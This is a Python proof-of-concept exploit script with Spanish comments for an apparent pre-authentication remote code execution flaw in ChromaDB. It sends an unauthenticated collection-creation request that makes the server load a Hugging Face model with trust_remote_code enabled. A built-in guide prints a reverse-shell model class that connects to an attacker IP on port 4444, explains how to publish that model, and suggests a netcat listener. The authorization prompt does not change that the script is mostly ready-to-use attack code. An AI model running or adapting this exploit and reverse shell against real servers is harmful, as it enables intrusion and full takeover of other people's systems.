#!/usr/bin/env python3
"""
CVE-2026-45829 - ChromaDB Pre-Auth RCE via Malicious Model Loading
==================================================================
Vulnerabilidad CRÍTICA (CVSS 10.0) en ChromaDB < 1.5.9

Descripción:
Un atacante no autenticado puede ejecutar código arbitrario en servidores
ChromaDB explotando el endpoint /api/v2/tenants/{tenant}/databases/{db}/collections
cargando un modelo malicioso desde Hugging Face con trust_remote_code=true

Author: Security Research
Date: 2026-05-20
CVSS: 10.0 CRITICAL
"""

import requests
import json
import sys
import argparse
import time
import uuid

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    PURPLE = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def print_banner():
    banner = f"""
{Colors.RED}{Colors.BOLD}
╔═══════════════════════════════════════════════════════════════════════════╗
║  CVE-2026-45829 - ChromaDB Pre-Auth RCE (CVSS 10.0)                       ║
║  Code Injection via Malicious Model Loading from Hugging Face             ║
╚═══════════════════════════════════════════════════════════════════════════╝
{Colors.END}
    """
    print(banner)

def check_chromadb_version(target_url):
    """Verifica la versión de ChromaDB y si es vulnerable"""
    try:
        # Intentar obtener versión
        resp = requests.get(f"{target_url}/api/v2/version", timeout=10)
        if resp.status_code == 200:
            version = resp.text.strip()
            print(f"{Colors.CYAN}[*] Versión detectada: {version}{Colors.END}")
            
            # Versiones vulnerables: 1.0.0 hasta 1.5.8
            if version >= "1.0.0" and version < "1.5.9":
                print(f"{Colors.RED}[!] Versión VULNERABLE{Colors.END}")
                return True
            else:
                print(f"{Colors.GREEN}[✓] Versión SEGURA (>= 1.5.9){Colors.END}")
                return False
    except:
        print(f"{Colors.YELLOW}[!] No se pudo determinar la versión{Colors.END}")
    
    return True  # Asumir vulnerable si no se puede verificar

def create_malicious_collection(target_url, tenant="default_tenant", database="default_database"):
    """
    Crea una colección maliciosa que carga un modelo desde Hugging Face
    con trust_remote_code=true, permitiendo ejecución de código arbitrario.
    """
    
    # Endpoint vulnerable (autenticación se verifica DESPUÉS de cargar el modelo)
    endpoint = f"{target_url}/api/v2/tenants/{tenant}/databases/{database}/collections"
    
    # Colección con configuración maliciosa
    # El modelo puede contener código arbitrario que se ejecutará al cargarse
    collection_name = f"malicious_{uuid.uuid4().hex[:8]}"
    
    # Hugging Face repo que contiene código malicioso
    # NOTA: Este es un ejemplo. En un ataque real, el atacante subiría su propio modelo
    malicious_model_repo = "https://huggingface.co/malicious-repo/backdoor-model"
    
    payload = {
        "name": collection_name,
        "metadata": {
            "hnsw:space": "cosine",
            "embedding_function": {
                "name": "huggingface",
                "config": {
                    "model_name": malicious_model_repo,
                    "trust_remote_code": True,  # ← CRÍTICO: permite ejecutar código
                    "device": "cpu"
                }
            }
        }
    }
    
    print(f"{Colors.CYAN}[*] Creando colección maliciosa: {collection_name}{Colors.END}")
    print(f"{Colors.YELLOW}[*] Modelo malicioso: {malicious_model_repo}{Colors.END}")
    print(f"{Colors.YELLOW}[*] trust_remote_code = True{Colors.END}")
    
    try:
        # Enviar solicitud - la autenticación se verifica DESPUÉS de cargar el modelo
        response = requests.post(
            endpoint,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=30
        )
        
        print(f"{Colors.CYAN}[*] Código de respuesta: {response.status_code}{Colors.END}")
        
        if response.status_code == 500:
            # Error 500 indica que el modelo se cargó pero la autenticación falló
            # Esto significa que el código MALICIOSO YA SE EJECUTÓ
            print(f"{Colors.RED}{Colors.BOLD}[!] ¡EXPLOTACIÓN EXITOSA!{Colors.END}")
            print(f"{Colors.RED}[!] El modelo malicioso fue cargado y ejecutado{Colors.END}")
            print(f"{Colors.RED}[!] El código arbitrario ya se ejecutó en el servidor{Colors.END}")
            return True
        elif response.status_code == 200:
            print(f"{Colors.GREEN}[+] Colección creada exitosamente{Colors.END}")
            print(f"{Colors.GREEN}[+] El código malicioso fue ejecutado{Colors.END}")
            return True
        else:
            print(f"{Colors.YELLOW}[?] Respuesta inesperada: {response.text[:200]}{Colors.END}")
            
    except requests.exceptions.ConnectionError:
        print(f"{Colors.RED}[-] Error de conexión al objetivo{Colors.END}")
    except Exception as e:
        print(f"{Colors.RED}[-] Error: {e}{Colors.END}")
    
    return False

def create_backdoor_model_on_huggingface():
    """
    Guía para crear un modelo malicioso en Hugging Face
    Esto es educativo - NO se ejecuta automáticamente
    """
    print(f"\n{Colors.YELLOW}{'='*60}{Colors.END}")
    print(f"{Colors.BOLD}[*] ¿Cómo crear un modelo malicioso en Hugging Face?{Colors.END}")
    print(f"{Colors.YELLOW}{'='*60}{Colors.END}")
    
    print(f"""
{Colors.CYAN}1. Crear un repositorio en Hugging Face{Colors.END}
   git clone https://huggingface.co/new-repo/malicious-model
   cd malicious-model

{Colors.CYAN}2. Crear archivo config.json malicioso:{Colors.END}
   {{
       "architectures": ["CustomModel"],
       "trust_remote_code": true,
       "auto_map": {{
           "AutoModel": "modeling_custom.CustomModel"
       }}
   }}

{Colors.CYAN}3. Crear modeling_custom.py con código malicioso:{Colors.END}
   import os
   import socket
   import subprocess
   
   class CustomModel:
       def __init__(self, **kwargs):
           # Reverse shell
           host = "10.0.0.1"  # IP del atacante
           port = 4444        # Puerto del atacante
           
           s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
           s.connect((host, port))
           os.dup2(s.fileno(), 0)
           os.dup2(s.fileno(), 1)
           os.dup2(s.fileno(), 2)
           subprocess.call(["/bin/sh", "-i"])

{Colors.CYAN}4. Subir a Hugging Face:{Colors.END}
   git add config.json modeling_custom.py
   git commit -m "Custom model"
   git push
    """)

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-45829 - ChromaDB Pre-Auth RCE PoC',
        epilog='Ejemplo: python cve_2026_45829_poc.py http://target.com:8000'
    )
    parser.add_argument('target', help='URL del servidor ChromaDB vulnerable')
    parser.add_argument('--tenant', default='default_tenant', help='Tenant name (default: default_tenant)')
    parser.add_argument('--database', default='default_database', help='Database name (default: default_database)')
    parser.add_argument('--no-check', action='store_true', help='Saltar verificación de versión')
    parser.add_argument('--create-model', action='store_true', help='Mostrar guía para crear modelo malicioso')
    
    args = parser.parse_args()
    
    print_banner()
    
    # Mostrar advertencia legal
    print(f"{Colors.RED}{Colors.BOLD}[!] ADVERTENCIA: Esta PoC es solo para pruebas autorizadas{Colors.END}")
    print(f"{Colors.RED}[!] El uso no autorizado es ILEGAL{Colors.END}")
    
    response = input(f"\n{Colors.YELLOW}¿Tienes autorización para probar este objetivo? (yes/no): {Colors.END}")
    if response.lower() != 'yes':
        print(f"{Colors.RED}[-] Saliendo...{Colors.END}")
        sys.exit(0)
    
    # Normalizar URL
    target = args.target.rstrip('/')
    if not target.startswith(('http://', 'https://')):
        target = 'http://' + target
    
    print(f"\n{Colors.CYAN}[*] Objetivo: {target}{Colors.END}")
    
    # Verificar vulnerabilidad
    if not args.no_check:
        print(f"\n{Colors.CYAN}[*] Verificando versión...{Colors.END}")
        if not check_chromadb_version(target):
            print(f"{Colors.GREEN}[✓] El objetivo parece parchado. Saliendo...{Colors.END}")
            sys.exit(0)
    
    # Mostrar guía para crear modelo
    if args.create_model:
        create_backdoor_model_on_huggingface()
        return
    
    # Ejecutar exploit
    print(f"\n{Colors.CYAN}[*] Iniciando explotación...{Colors.END}")
    print(f"{Colors.YELLOW}[*] Endpoint vulnerable: /api/v2/tenants/{{tenant}}/databases/{{db}}/collections{Colors.END}")
    print(f"{Colors.YELLOW}[*] La autenticación se verifica DESPUÉS de cargar el modelo{Colors.END}")
    print(f"{Colors.YELLOW}[*] El código malicioso se ejecutará aunque la autenticación falle{Colors.END}")
    
    success = create_malicious_collection(target, args.tenant, args.database)
    
    if success:
        print(f"\n{Colors.RED}{Colors.BOLD}{'='*60}{Colors.END}")
        print(f"{Colors.RED}{Colors.BOLD}¡EXPLOTACIÓN EXITOSA!{Colors.END}")
        print(f"{Colors.RED}{Colors.BOLD}{'='*60}{Colors.END}")
        print(f"""
{Colors.YELLOW}El código malicioso fue ejecutado en el servidor.

Si configuraste un reverse shell, deberías recibir una conexión.
Para preparar el listener:
  nc -lvnp 4444

Para más información:
  - Reporte completo: https://www.hiddenlayer.com/research/chromatoast-served-pre-auth
  - GitHub Issue: https://github.com/chroma-core/chroma/issues/6717
        {Colors.END}""")
    else:
        print(f"\n{Colors.YELLOW}[!] La explotación pudo haber fallado.{Colors.END}")
        print(f"{Colors.YELLOW}[!] Verifica que el objetivo esté ejecutando una versión vulnerable (1.0.0-1.5.8){Colors.END}")

if __name__ == "__main__":
    try:
        import requests
    except ImportError:
        print(f"{Colors.RED}[-] Instala requests: pip install requests{Colors.END}")
        sys.exit(1)
    
    main()